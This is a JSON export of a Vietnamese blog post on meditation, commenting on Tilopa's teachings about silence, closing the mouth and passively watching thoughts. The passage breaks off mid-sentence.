{"id":4160,"date":"2024-03-17T21:28:45","date_gmt":"2024-03-17T14:28:45","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=4160"},"modified":"2024-12-21T00:21:00","modified_gmt":"2024-12-20T17:21:00","slug":"im-lang-va-lam-trong-rong-tam-tri","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=4160","title":{"rendered":"Im l\u1eb7ng v\u00e0 l\u00e0m tr\u1ed1ng r\u1ed7ng t\u00e2m tr\u00ed"},"content":{"rendered":"<p><em>Kh\u00f4ng l\u00e0m g\u00ec v\u1edbi th\u00e2n th\u1ec3 nh\u01b0ng th\u1ea3nh th\u01a1i<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Kh\u00f4ng c\u1ea7n l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec cho n\u00f3. Ch\u1ec9 hi\u1ec3u chuy\u1ec3n \u0111\u1ed9ng c\u1ee7a n\u0103ng l\u01b0\u1ee3ng, chuy\u1ec3n \u0111\u1ed9ng v\u00f4 \u0111\u1ed9ng c\u01a1 c\u1ee7a n\u0103ng l\u01b0\u1ee3ng. N\u00f3 ch\u1ea3y, nh\u01b0ng kh\u00f4ng h\u01b0\u1edbng t\u1edbi m\u1ee5c \u0111\u00edch, n\u00f3 ch\u1ea3y nh\u01b0 vi\u1ec7c m\u1edf h\u1ed9i. N\u00f3 chuy\u1ec3n \u0111\u1ed9ng, kh\u00f4ng h\u01b0\u1edbng t\u1edbi \u0111\u00edch, n\u00f3 chuy\u1ec3n \u0111\u1ed9ng v\u00ec n\u0103ng l\u01b0\u1ee3ng tr\u00e0n \u0111\u1ea7y ri\u00eang c\u1ee7a n\u00f3.<\/p>\n<p>\u0110\u1ee9a tr\u1ebb nh\u1ea3y v\u00e0 m\u00faa v\u00e0 ch\u1ea1y quanh; h\u1ecfi n\u00f3, &#8220;Ch\u00e1u \u0111i \u0111\u00e2u \u0111\u1ea5y?&#8221; N\u00f3 kh\u00f4ng \u0111i b\u1ea5t k\u00ec \u0111\u00e2u &#8211; b\u1ea1n s\u1ebd c\u00f3 v\u1ebb ngu xu\u1ea9n v\u1edbi n\u00f3. Tr\u1ebb con bao gi\u1edd c\u0169ng ngh\u0129 r\u1eb1ng ng\u01b0\u1eddi l\u1edbn l\u00e0 ngu. C\u00e2u h\u1ecfi v\u00f4 ngh\u0129a l\u00e0m sao, &#8220;Ch\u00e1u \u0111i \u0111\u00e2u \u0111\u1ea5y?&#8221; C\u00f3 nhu c\u1ea7u n\u00e0o \u0111\u1ec3 \u0111i b\u1ea5t k\u00ec \u0111\u00e2u kh\u00f4ng? \u0110\u1ee9a tr\u1ebb \u0111\u01a1n gi\u1ea3n kh\u00f4ng th\u1ec3 tr\u1ea3 l\u1eddi \u0111\u01b0\u1ee3c c\u00e2u h\u1ecfi c\u1ee7a b\u1ea1n v\u00ec c\u00e2u h\u1ecfi kh\u00f4ng li\u00ean quan. N\u00f3 kh\u00f4ng \u0111i \u0111\u00e2u c\u1ea3. N\u00f3 s\u1ebd \u0111\u01a1n gi\u1ea3n nh\u00fan vai. N\u00f3 s\u1ebd n\u00f3i, &#8220;Kh\u00f4ng \u0111\u00e2u c\u1ea3.&#8221; Th\u1ebf th\u00ec t\u00e2m tr\u00ed h\u01b0\u1edbng \u0111\u00edch h\u1ecfi, &#8220;Th\u1ebf sao ch\u00e1u ch\u1ea1y?&#8221; &#8211; v\u00ec v\u1edbi ch\u00fang ta ho\u1ea1t \u0111\u1ed9ng l\u00e0 c\u00f3 li\u00ean quan ch\u1ec9 khi n\u00f3 d\u1eabn t\u1edbi \u0111\u00e2u \u0111\u00f3.<\/p>\n<p>V\u00e0 t\u00f4i b\u1ea3o b\u1ea1n, kh\u00f4ng c\u00f3 \u0111\u00e2u m\u00e0 \u0111i: \u1edf \u0111\u00e2y l\u00e0 t\u1ea5t c\u1ea3. To\u00e0n th\u1ec3 s\u1ef1 t\u1ed3n t\u1ea1i l\u00ean cao tr\u00e0o trong kho\u1ea3nh kh\u1eafc n\u00e0y, n\u00f3 h\u1ee3p t\u1ee5 v\u00e0o kho\u1ea3nh kh\u1eafc n\u00e0y. To\u00e0n th\u1ec3 s\u1ef1 t\u1ed3n t\u1ea1i \u0111\u00e3 \u0111\u1ed5 ra v\u00e0o kho\u1ea3nh kh\u1eafc n\u00e0y; m\u1ecdi c\u00e1i c\u00f3 \u0111\u00f3 \u0111ang \u0111\u1ed5 v\u00e0o trong kho\u1ea3nh kh\u1eafc n\u00e0y &#8211; n\u00f3 l\u00e0 \u1edf \u0111\u00e2y, b\u00e2y gi\u1edd. \u0110\u1ee9a tr\u1ebb \u0111\u01a1n gi\u1ea3n t\u1eadn h\u01b0\u1edfng n\u0103ng l\u01b0\u1ee3ng. N\u00f3 c\u00f3 qu\u00e1 nhi\u1ec1u. N\u00f3 ch\u1ea1y, kh\u00f4ng ph\u1ea3i v\u00ec n\u00f3 ph\u1ea3i \u0111\u1ea1t t\u1edbi \u0111\u00e2u \u0111\u00f3, nh\u01b0ng b\u1edfi v\u00ec n\u00f3 c\u00f3 qu\u00e1 nhi\u1ec1u; n\u00f3 ph\u1ea3i ch\u1ea1y.<\/p>\n<p>H\u00e0nh \u0111\u1ed9ng v\u00f4 \u0111\u1ed9ng c\u01a1, ch\u1ec9 s\u1ef1 tu\u00f4n tr\u00e0n c\u1ee7a n\u0103ng l\u01b0\u1ee3ng c\u1ee7a b\u1ea1n. Chia s\u1ebb \u0111i, nh\u01b0ng \u0111\u1eebng th\u01b0\u01a1ng m\u1ea1i, \u0111\u1eebng m\u1eb7c c\u1ea3. Cho b\u1edfi v\u00ec b\u1ea1n c\u00f3, kh\u00f4ng cho \u0111\u1ec3 nh\u1eadn l\u1ea1i &#8211; v\u00ec th\u1ebf th\u00ec b\u1ea1n s\u1ebd b\u1ecb kh\u1ed5. M\u1ecdi th\u01b0\u01a1ng nh\u00e2n \u0111\u1ec1u xu\u1ed1ng \u0111\u1ecba ng\u1ee5c. N\u1ebfu b\u1ea1n mu\u1ed1n t\u00ecm ra nh\u1eefng th\u01b0\u01a1ng nh\u00e2n v\u00e0 ng\u01b0\u1eddi m\u1eb7c c\u1ea3 l\u1edbn nh\u1ea5t, \u0111i xu\u1ed1ng \u0111\u1ecba ng\u1ee5c, \u1edf \u0111\u00f3 b\u1ea1n s\u1ebd th\u1ea5y h\u1ecd. C\u00f5i tr\u1eddi kh\u00f4ng d\u00e0nh cho th\u01b0\u01a1ng nh\u00e2n. C\u00f5i tr\u1eddi d\u00e0nh cho ng\u01b0\u1eddi m\u1edf h\u1ed9i.<\/p>\n<p>Trong Th\u01b0\u1ee3ng \u0111\u1ebf h\u1ecdc Ki t\u00f4 gi\u00e1o, l\u1eb7p \u0111i l\u1eb7p l\u1ea1i, trong nhi\u1ec1u th\u1ebf k\u1ec9 \u0111i\u1ec1u \u0111\u00e3 t\u1eebng \u0111\u01b0\u1ee3c h\u1ecfi l\u00e0, &#8220;C\u00e1c thi\u00ean th\u1ea7n l\u00e0m g\u00ec tr\u00ean c\u00f5i tr\u1eddi?&#8221; \u0110\u00e2y l\u00e0 c\u00e2u h\u1ecfi li\u00ean quan cho nh\u1eefng ng\u01b0\u1eddi h\u01b0\u1edbng m\u1ee5c \u0111\u00edch: &#8220;C\u00e1c thi\u00ean th\u1ea7n l\u00e0m g\u00ec tr\u00ean c\u00f5i tr\u1eddi?&#8221; D\u01b0\u1eddng nh\u01b0 kh\u00f4ng c\u00e1i g\u00ec \u0111\u01b0\u1ee3c l\u00e0m, kh\u00f4ng c\u00e1i g\u00ec c\u00f3 \u0111\u00f3 \u0111\u1ec3 l\u00e0m. Ai \u0111\u00f3 h\u1ecfi Meister Eckhart, &#8221; C\u00e1c thi\u00ean th\u1ea7n l\u00e0m g\u00ec tr\u00ean c\u00f5i tr\u1eddi?&#8221; \u00d4ng \u1ea5y n\u00f3i, &#8220;\u00d4ng l\u00e0 ki\u1ec3u ng\u01b0\u1eddi ngu g\u00ec v\u1eady? C\u00f5i tr\u1eddi l\u00e0 ch\u1ed7 \u0111\u1ec3 m\u1edf h\u1ed9i. H\u1ecd kh\u00f4ng l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec. H\u1ecd \u0111\u01a1n gi\u1ea3n m\u1edf h\u1ed9i &#8211; ni\u1ec1m vinh quang c\u1ee7a n\u00f3, s\u1ef1 cao th\u01b0\u1ee3ng c\u1ee7a n\u00f3, th\u01a1 ca c\u1ee7a n\u00f3, vi\u1ec7c n\u1edf hoa c\u1ee7a n\u00f3, h\u1ecd m\u1edf h\u1ed9i. H\u1ecd h\u00e1t v\u00e0 h\u1ecd m\u00faa v\u00e0 h\u1ecd m\u1edf h\u1ed9i.&#8221; Nh\u01b0ng t\u00f4i kh\u00f4ng ngh\u0129 r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 \u0111\u01b0\u1ee3c th\u1ecfa m\u00e3n b\u1edfi c\u00e2u tr\u1ea3 l\u1eddi c\u1ee7a Meister Eckhart, v\u00ec v\u1edbi ch\u00fang ta ho\u1ea1t \u0111\u1ed9ng l\u00e0 c\u00f3 ngh\u0129a ch\u1ec9 n\u1ebfu n\u00f3 d\u1eabn t\u1edbi ch\u1ed7 n\u00e0o \u0111\u00f3, n\u1ebfu c\u00f3 m\u1ee5c \u0111\u00edch.<\/p>\n<p>Nh\u1edb, ho\u1ea1t \u0111\u1ed9ng l\u00e0 h\u01b0\u1edbng \u0111\u00edch, h\u00e0nh \u0111\u1ed9ng th\u00ec kh\u00f4ng. H\u00e0nh \u0111\u1ed9ng l\u00e0 vi\u1ec7c tu\u00f4n tr\u00e0n n\u0103ng l\u01b0\u1ee3ng; h\u00e0nh \u0111\u1ed9ng l\u00e0 trong kho\u1ea3nh kh\u1eafc n\u00e0y, l\u00e0 \u0111\u00e1p \u1ee9ng, kh\u00f4ng \u0111\u01b0\u1ee3c chu\u1ea9n b\u1ecb, kh\u00f4ng \u0111\u01b0\u1ee3c di\u1ec5n t\u1eadp. Ch\u1ec9 to\u00e0n th\u1ec3 s\u1ef1 t\u1ed3n t\u1ea1i g\u1eb7p b\u1ea1n, \u0111\u01b0\u01a1ng \u0111\u1ea7u v\u1edbi b\u1ea1n, v\u00e0 \u0111\u00e1p \u1ee9ng t\u1edbi. Chim h\u00f3t v\u00e0 b\u1ea1n b\u1eaft \u0111\u1ea7u h\u00e1t &#8211; n\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 ho\u1ea1t \u0111\u1ed9ng. \u0110\u1ed9t nhi\u00ean n\u00f3 x\u1ea3y ra. \u0110\u1ed9t nhi\u00ean b\u1ea1n th\u1ea5y n\u00f3 \u0111ang x\u1ea3y ra, r\u1eb1ng b\u1ea1n \u0111\u00e3 b\u1eaft \u0111\u1ea7u r\u00ec r\u00e0o &#8211; \u0111\u00e2y l\u00e0 h\u00e0nh \u0111\u1ed9ng.<\/p>\n<p>V\u00e0 n\u1ebfu b\u1ea1n tr\u1edf n\u00ean ng\u00e0y c\u00e0ng \u0111\u01b0\u1ee3c tham gia v\u00e0o trong h\u00e0nh \u0111\u1ed9ng, v\u00e0 ng\u00e0y c\u00e0ng \u00edt b\u1eadn b\u1ecbu trong ho\u1ea1t \u0111\u1ed9ng, cu\u1ed9c s\u1ed1ng c\u1ee7a b\u1ea1n s\u1ebd thay \u0111\u1ed5i v\u00e0 n\u00f3 s\u1ebd tr\u1edf th\u00e0nh vi\u1ec7c th\u1ea3nh th\u01a1i s\u00e2u. Th\u1ebf th\u00ec b\u1ea1n &#8220;l\u00e0m&#8221; nh\u01b0ng b\u1ea1n v\u1eabn c\u00f2n \u0111\u01b0\u1ee3c th\u1ea3nh th\u01a1i. V\u1ecb ph\u1eadt kh\u00f4ng bao gi\u1edd m\u1ec7t. T\u1ea1i sao? &#8211; v\u00ec \u00f4ng \u1ea5y kh\u00f4ng l\u00e0 ng\u01b0\u1eddi l\u00e0m. B\u1ea5t k\u00ec c\u00e1i g\u00ec \u00f4ng \u1ea5y l\u00e0m, \u00f4ng \u1ea5y cho, \u00f4ng \u1ea5y tu\u00f4n tr\u00e0n.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Kh\u00f4ng l\u00e0m g\u00ec v\u1edbi th\u00e2n th\u1ec3 nh\u01b0ng th\u1ea3nh th\u01a1i; ng\u1eadm mi\u1ec7ng v\u00e0 im l\u1eb7ng c\u00f2n l\u1ea1i.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Mi\u1ec7ng th\u1ef1c s\u1ef1 r\u1ea5t r\u1ea5t c\u00f3 \u00fd ngh\u0129a, v\u00ec \u0111\u00f3 l\u00e0 n\u01a1i ho\u1ea1t \u0111\u1ed9ng \u0111\u1ea7u ti\u00ean \u0111\u01b0a \u0111\u1ebfn; m\u00f4i b\u1ea1n b\u1eaft \u0111\u1ea7u ho\u1ea1t \u0111\u1ed9ng \u0111\u1ea7u ti\u00ean. Bao quanh khu v\u1ef1c c\u1ee7a mi\u1ec7ng l\u00e0 vi\u1ec7c b\u1eaft \u0111\u1ea7u c\u1ee7a m\u1ecdi ho\u1ea1t \u0111\u1ed9ng: b\u1ea1n h\u00edt v\u00e0o, b\u1ea1n kh\u00f3c, b\u1ea1n b\u1eaft \u0111\u1ea7u d\u00f2 d\u1eabm v\u00fa m\u1eb9. V\u00e0 mi\u1ec7ng b\u1ea1n bao gi\u1edd c\u0169ng v\u1eabn c\u00f2n trong ho\u1ea1t \u0111\u1ed9ng \u0111i\u00ean cu\u1ed3ng. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao Tilopa g\u1ee3i \u00fd: &#8220;Hi\u1ec3u ho\u1ea1t \u0111\u1ed9ng, hi\u1ec3u h\u00e0nh \u0111\u1ed9ng, th\u1ea3nh th\u01a1i, v\u00e0&#8230; <em>ng\u1eadm ch\u1eafc mi\u1ec7ng<\/em>.&#8221;<\/p>\n<p>B\u1ea5t k\u00ec khi n\u00e0o b\u1ea1n ng\u1ed3i xu\u1ed1ng \u0111\u1ec3 thi\u1ec1n, b\u1ea5t k\u00ec khi n\u00e0o b\u1ea1n mu\u1ed1n im l\u1eb7ng, \u0111i\u1ec1u \u0111\u1ea7u ti\u00ean l\u00e0 kh\u00e9p mi\u1ec7ng l\u1ea1i ho\u00e0n to\u00e0n. N\u1ebfu b\u1ea1n kh\u00e9p mi\u1ec7ng ho\u00e0n to\u00e0n, l\u01b0\u1ee1i c\u1ee7a b\u1ea1n s\u1ebd ch\u1ea1m h\u00e0m \u1ebfch; c\u1ea3 hai m\u00f4i s\u1ebd \u0111\u01b0\u1ee3c ho\u00e0n to\u00e0n kh\u00e9p l\u1ea1i v\u00e0 l\u01b0\u1ee1i s\u1ebd ch\u1ea1m h\u00e0m \u1ebfch. Ng\u1eadm mi\u1ec7ng ho\u00e0n to\u00e0n &#8211; nh\u01b0ng \u0111i\u1ec1u \u0111\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c l\u00e0m ch\u1ec9 n\u1ebfu b\u1ea1n \u0111\u00e3 \u0111i theo b\u1ea5t k\u00ec c\u00e1i g\u00ec t\u00f4i \u0111\u00e3 n\u00f3i cho b\u1ea1n, kh\u00f4ng tr\u01b0\u1edbc \u0111i\u1ec1u \u0111\u00f3.<\/p>\n<p>B\u1ea1n c\u00f3 th\u1ec3 l\u00e0m \u0111i\u1ec1u \u0111\u00f3! Ng\u1eadm mi\u1ec7ng kh\u00f4ng ph\u1ea3i l\u00e0 n\u1ed7 l\u1ef1c g\u00ec r\u1ea5t l\u1edbn. B\u1ea1n c\u00f3 th\u1ec3 ng\u1ed3i nh\u01b0 t\u01b0\u1ee3ng, v\u1edbi mi\u1ec7ng ng\u1eadm ho\u00e0n to\u00e0n, nh\u01b0ng \u0111i\u1ec1u \u0111\u00f3 s\u1ebd kh\u00f4ng d\u1eebng ho\u1ea1t \u0111\u1ed9ng. S\u00e2u b\u00ean trong suy ngh\u0129 s\u1ebd ti\u1ebfp t\u1ee5c, v\u00e0 n\u1ebfu suy ngh\u0129 ti\u1ebfp t\u1ee5c b\u1ea1n c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y rung \u0111\u1ed9ng tinh t\u1ebf trong m\u00f4i. Ng\u01b0\u1eddi kh\u00e1c c\u00f3 th\u1ec3 kh\u00f4ng c\u00f3 kh\u1ea3 n\u0103ng quan s\u00e1t \u0111i\u1ec1u \u0111\u00f3 v\u00ec ch\u00fang r\u1ea5t tinh t\u1ebf, nh\u01b0ng n\u1ebfu b\u1ea1n ngh\u0129 th\u1ebf th\u00ec m\u00f4i b\u1ea1n s\u1ebd h\u01a1i m\u1ea5p m\u00e1y &#8211; vi\u1ec7c m\u1ea5p m\u00e1y r\u1ea5t tinh t\u1ebf.<\/p>\n<p>Khi b\u1ea1n th\u1ef1c s\u1ef1 th\u1ea3nh th\u01a1i, vi\u1ec7c m\u1ea5p m\u00e1y m\u00f4i \u0111\u00f3 d\u1eebng l\u1ea1i. B\u1ea1n kh\u00f4ng n\u00f3i, b\u1ea1n kh\u00f4ng l\u00e0m b\u1ea5t k\u00ec ho\u1ea1t \u0111\u1ed9ng n\u00e0o b\u00ean trong b\u1ea1n. <em>Ng\u1eadm ch\u1eafc mi\u1ec7ng v\u00e0 im l\u1eb7ng c\u00f2n l\u1ea1i<\/em>. V\u00e0 th\u1ebf r\u1ed3i kh\u00f4ng ngh\u0129.<\/p>\n<p>B\u1ea1n s\u1ebd l\u00e0m g\u00ec? \u00dd ngh\u0129 t\u1edbi v\u00e0 \u0111i. \u0110\u1ec3 ch\u00fang t\u1edbi v\u00e0 \u0111i, \u0111i\u1ec1u \u0111\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 v\u1ea5n \u0111\u1ec1. B\u1ea1n kh\u00f4ng d\u00ednh l\u00edu v\u00e0o; b\u1ea1n v\u1eabn c\u00f2n xa c\u00e1ch, t\u00e1ch r\u1eddi. B\u1ea1n \u0111\u01a1n gi\u1ea3n quan s\u00e1t ch\u00fang t\u1edbi v\u00e0 \u0111i, ch\u00fang kh\u00f4ng ph\u1ea3i l\u00e0 m\u1ed1i quan t\u00e2m c\u1ee7a b\u1ea1n. Ng\u1eadm mi\u1ec7ng v\u00e0 b\u1ea1n v\u1eabn c\u00f2n im l\u1eb7ng. D\u1ea7n d\u1ea7n, c\u00e1c \u00fd ngh\u0129 s\u1ebd t\u1ef1 \u0111\u1ed9ng d\u1eebng l\u1ea1i &#8211; ch\u00fang c\u1ea7n s\u1ef1 h\u1ee3p t\u00e1c c\u1ee7a b\u1ea1n \u0111\u1ec3 c\u00f3 \u0111\u00f3. N\u1ebfu b\u1ea1n h\u1ee3p t\u00e1c, ch\u00fang s\u1ebd c\u00f3 \u0111\u00f3; n\u1ebfu b\u1ea1n tranh \u0111\u1ea5u, th\u1ebf n\u1eefa ch\u00fang s\u1ebd c\u00f3 \u0111\u00f3 &#8211; v\u00ec c\u1ea3 hai \u0111\u1ec1u l\u00e0 h\u1ee3p t\u00e1c: m\u1ed9t \u0111\u1eb1ng \u1ee7ng h\u1ed9, m\u1ed9t \u0111\u1eb1ng ch\u1ed1ng \u0111\u1ed1i. C\u1ea3 hai \u0111\u1ec1u l\u00e0 c\u00e1c lo\u1ea1i ho\u1ea1t \u0111\u1ed9ng. B\u1ea1n \u0111\u01a1n gi\u1ea3n quan s\u00e1t.<\/p>\n<p>Nh\u01b0ng ng\u1eadm mi\u1ec7ng l\u00e0 r\u1ea5t gi\u00fap \u00edch. Cho n\u00ean \u0111\u1ea7u ti\u00ean, nh\u01b0 t\u00f4i \u0111\u00e3 t\u1eebng quan s\u00e1t nhi\u1ec1u ng\u01b0\u1eddi, t\u00f4i s\u1ebd g\u1ee3i \u00fd cho b\u1ea1n r\u1eb1ng tr\u01b0\u1edbc h\u1ebft l\u00e0 ng\u00e1p: m\u1edf mi\u1ec7ng r\u1ed9ng h\u1ebft m\u1ee9c c\u00f3 th\u1ec3, l\u00e0m c\u0103ng mi\u1ec7ng c\u1ee7a b\u1ea1n r\u1ed9ng nh\u1ea5t c\u00f3 th\u1ec3, ng\u00e1p ho\u00e0n to\u00e0n; th\u1eadm ch\u00ed n\u00f3 b\u1eaft \u0111\u1ea7u l\u00e0m \u0111au. L\u00e0m \u0111i\u1ec1u n\u00e0y hai hay ba l\u1ea7n. \u0110i\u1ec1u n\u00e0y s\u1ebd gi\u00fap cho mi\u1ec7ng v\u1eabn c\u00f2n kh\u00e9p l\u1ea1i trong th\u1eddi gian l\u00e2u h\u01a1n. V\u00e0 th\u1ebf r\u1ed3i trong hai hay ba ph\u00fat, n\u00f3i to t\u1eeb l\u1eafp b\u1eafp, v\u00f4 ngh\u0129a. B\u1ea5t k\u00ec c\u00e1i g\u00ec t\u1edbi v\u1edbi t\u00e2m tr\u00ed, n\u00f3i n\u00f3 to l\u00ean v\u00e0 t\u1eadn h\u01b0\u1edfng n\u00f3. Th\u1ebf r\u1ed3i ng\u1eadm mi\u1ec7ng l\u1ea1i.<\/p>\n<p>\u0110i\u1ec1u d\u1ec5 d\u00e0ng h\u01a1n l\u00e0 \u0111i t\u1eeb \u0111\u1ea7u \u0111\u1ed1i l\u1eadp. N\u1ebfu b\u1ea1n mu\u1ed1n th\u1ea3 l\u1ecfng b\u00e0n tay, t\u1ed1t h\u01a1n c\u1ea3 l\u00e0 tr\u01b0\u1edbc h\u1ebft l\u00e0m cho n\u00f3 c\u0103ng h\u1ebft m\u1ee9c. Si\u1ebft ch\u1eb7t b\u00e0n tay c\u1ee7a b\u1ea1n v\u00e0 \u0111\u1ec3 n\u00f3 c\u0103ng h\u1ebft m\u1ee9c c\u00f3 th\u1ec3, l\u00e0m ch\u00ednh c\u00e1i \u0111\u1ed1i l\u1eadp v\u00e0 th\u1ebf r\u1ed3i th\u1ea3 l\u1ecfng &#8211; v\u00e0 th\u1ebf th\u00ec b\u1ea1n s\u1ebd \u0111\u1ea1t t\u1edbi vi\u1ec7c th\u1ea3 l\u1ecfng s\u00e2u h\u01a1n c\u1ee7a h\u1ec7 th\u1ed1ng th\u1ea7n kinh. L\u00e0m c\u00e1c c\u1eed ch\u1ec9, m\u1eb7t, chuy\u1ec3n \u0111\u1ed9ng c\u1ee7a m\u1eb7t, v\u1eb7n xo\u1eafn, ng\u00e1p, n\u00f3i hai hay ba ph\u00fat \u0111i\u1ec1u v\u00f4 ngh\u0129a &#8211; v\u00e0 th\u1ebf r\u1ed3i ng\u1eadm mi\u1ec7ng l\u1ea1i. V\u00e0 s\u1ef1 c\u0103ng th\u1eb3ng n\u00e0y s\u1ebd gi\u00fap b\u1ea1n c\u00f3 kh\u1ea3 n\u0103ng s\u00e2u h\u01a1n \u0111\u1ec3 th\u1ea3 l\u1ecfng m\u00f4i v\u00e0 mi\u1ec7ng. Ng\u1eadm mi\u1ec7ng v\u00e0 th\u1ebf r\u1ed3i ch\u1ec9 l\u00e0 ng\u01b0\u1eddi quan s\u00e1t. Im l\u1eb7ng s\u1ebd s\u1edbm h\u1ea1 xu\u1ed1ng b\u1ea1n.<\/p>\n<p>C\u00f3 hai ki\u1ec3u im l\u1eb7ng. M\u1ed9t, im l\u1eb7ng m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 \u00e9p bu\u1ed9c l\u00ean b\u1ea3n th\u00e2n b\u1ea1n. \u0110i\u1ec1u \u0111\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 th\u1ee9 r\u1ea5t duy\u00ean d\u00e1ng, n\u00f3 l\u00e0 b\u1ea1o h\u00e0nh; n\u00f3 l\u00e0 m\u1ed9t lo\u1ea1i c\u01b0\u1ee1ng b\u1ee9c l\u00ean t\u00e2m tr\u00ed, n\u00f3 l\u00e0 hung h\u0103ng. Th\u1ebf r\u1ed3i c\u00f3 m\u1ed9t lo\u1ea1i im l\u1eb7ng kh\u00e1c h\u1ea1 xu\u1ed1ng b\u1ea1n, nh\u01b0 \u0111\u00eam bu\u00f4ng xu\u1ed1ng. N\u00f3 t\u1edbi v\u1edbi b\u1ea1n, n\u00f3 bao b\u1ecdc b\u1ea1n. B\u1ea1n \u0111\u01a1n gi\u1ea3n t\u1ea1o ra kh\u1ea3 n\u0103ng cho n\u00f3, t\u00ednh \u0111\u00f3n nh\u1eadn, v\u00e0 n\u00f3 t\u1edbi. Ng\u1eadm mi\u1ec7ng, quan s\u00e1t, kh\u00f4ng c\u1ed1 l\u00e0 im l\u1eb7ng. N\u1ebfu b\u1ea1n c\u1ed1, b\u1ea1n c\u00f3 th\u1ec3 \u00e1p \u0111\u1eb7t im l\u1eb7ng trong v\u00e0i gi\u00e2y, nh\u01b0ng ch\u00fang s\u1ebd kh\u00f4ng c\u00f3 b\u1ea5t k\u00ec gi\u00e1 tr\u1ecb n\u00e0o &#8211; b\u00ean trong b\u1ea1n s\u1ebd li\u00ean t\u1ee5c s\u00f4i l\u00ean. Cho n\u00ean \u0111\u1eebng c\u1ed1 l\u00e0 im l\u1eb7ng. B\u1ea1n \u0111\u01a1n gi\u1ea3n t\u1ea1o ra t\u00ecnh hu\u1ed1ng, m\u1ea3nh \u0111\u1ea5t, \u0111\u1ec3 h\u1ea1t m\u1ea7m v\u00e0o v\u00e0 ch\u1edd \u0111\u1ee3i.<\/p>\n<p>&nbsp;<\/p>\n<p><em>l\u00e0m tr\u1ed1ng r\u1ed7ng t\u00e2m tr\u00ed \u00f4ng v\u00e0 kh\u00f4ng ngh\u0129.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>B\u1ea1n s\u1ebd l\u00e0m g\u00ec \u0111\u1ec3 l\u00e0m tr\u1ed1ng r\u1ed7ng t\u00e2m tr\u00ed? \u00dd ngh\u0129 t\u1edbi, b\u1ea1n quan s\u00e1t. V\u00e0 vi\u1ec7c quan s\u00e1t ph\u1ea3i \u0111\u01b0\u1ee3c l\u00e0m v\u1edbi s\u1ef1 th\u1eadn tr\u1ecdng: vi\u1ec7c quan s\u00e1t ph\u1ea3i l\u00e0 th\u1ee5 \u0111\u1ed9ng, kh\u00f4ng ch\u1ee7 \u0111\u1ed9ng. \u0110\u00e2y l\u00e0 c\u01a1 ch\u1ebf tinh t\u1ebf v\u00e0 b\u1ea1n ph\u1ea3i hi\u1ec3u m\u1ecdi th\u1ee9, b\u1eb1ng kh\u00f4ng b\u1ea1n c\u00f3 th\u1ec3 b\u1ecf l\u1ee1 \u1edf b\u1ea5t k\u00ec ch\u1ed7 n\u00e0o. V\u00e0 n\u1ebfu b\u1ea1n b\u1ecf l\u1ee1 h\u01a1i ch\u00fat m\u1ed9t \u0111i\u1ec3m th\u00f4i, to\u00e0n th\u1ec3 s\u1ef1 vi\u1ec7c thay \u0111\u1ed5i ph\u1ea9m ch\u1ea5t c\u1ee7a n\u00f3. Quan s\u00e1t; quan s\u00e1t m\u1ed9t c\u00e1ch th\u1ee5 \u0111\u1ed9ng, kh\u00f4ng ch\u1ee7 \u0111\u1ed9ng.<\/p>\n<p>Kh\u00e1c bi\u1ec7t l\u00e0 g\u00ec? B\u1ea1n \u0111ang \u0111\u1ee3i m\u1ed9t c\u00f4 g\u00e1i, hay ng\u01b0\u1eddi y\u00eau c\u1ee7a b\u1ea1n &#8211; th\u1ebf th\u00ec b\u1ea1n quan s\u00e1t m\u1ed9t c\u00e1ch ch\u1ee7 \u0111\u1ed9ng. Th\u1ebf th\u00ec ai \u0111\u00f3 \u0111i qua c\u1eeda v\u00e0 b\u1ea1n nh\u01b0\u1edbn ng\u01b0\u1eddi l\u00ean nh\u00ecn xem li\u1ec7u c\u00f4 \u1ea5y \u0111\u00e3 t\u1edbi ch\u01b0a. Th\u1ebf th\u00ec, ch\u1ec9 l\u00e1 lay \u0111\u1ed9ng trong gi\u00f3, v\u00e0 b\u1ea1n c\u1ea3m th\u1ea5y c\u00f3 th\u1ec3 c\u00f4 \u1ea5y \u0111\u00e3 t\u1edbi. B\u1ea1n li\u00ean t\u1ee5c nh\u01b0\u1edbn ng\u01b0\u1eddi l\u00ean; t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n r\u1ea5t h\u00e1o h\u1ee9c, ch\u1ee7 \u0111\u1ed9ng. Kh\u00f4ng, \u0111i\u1ec1u n\u00e0y s\u1ebd kh\u00f4ng gi\u00fap g\u00ec. N\u1ebfu b\u1ea1n qu\u00e1 h\u00e1o h\u1ee9c v\u00e0 qu\u00e1 ch\u1ee7 \u0111\u1ed9ng \u0111i\u1ec1u n\u00e0y s\u1ebd kh\u00f4ng mang b\u1ea1n t\u1edbi im l\u1eb7ng c\u1ee7a Tilopa hay im l\u1eb7ng c\u1ee7a t\u00f4i. L\u00e0 th\u1ee5 \u0111\u1ed9ng nh\u01b0 khi b\u1ea1n ng\u1ed3i c\u1ea1nh s\u00f4ng v\u00e0 s\u00f4ng tr\u00f4i qua b\u00ean c\u1ea1nh, v\u00e0 b\u1ea1n \u0111\u01a1n gi\u1ea3n quan s\u00e1t. Kh\u00f4ng c\u00f3 h\u00e1o h\u1ee9c, kh\u00f4ng kh\u1ea9n thi\u1ebft, kh\u00f4ng c\u1ea5p b\u00e1ch. Kh\u00f4ng ai \u00e1p \u0111\u1eb7t b\u1ea1n. Cho d\u00f9 b\u1ea1n b\u1ecf l\u1ee1, kh\u00f4ng c\u00e1i g\u00ec b\u1ecb l\u1ee1. B\u1ea1n \u0111\u01a1n gi\u1ea3n quan s\u00e1t, b\u1ea1n ch\u1ec9 nh\u00ecn. Ngay c\u1ea3 l\u1eddi \u201cquan s\u00e1t\u201d c\u0169ng l\u00e0 kh\u00f4ng t\u1ed1t, v\u00ec ch\u00ednh t\u1eeb &#8220;quan s\u00e1t&#8221; cho c\u1ea3m gi\u00e1c 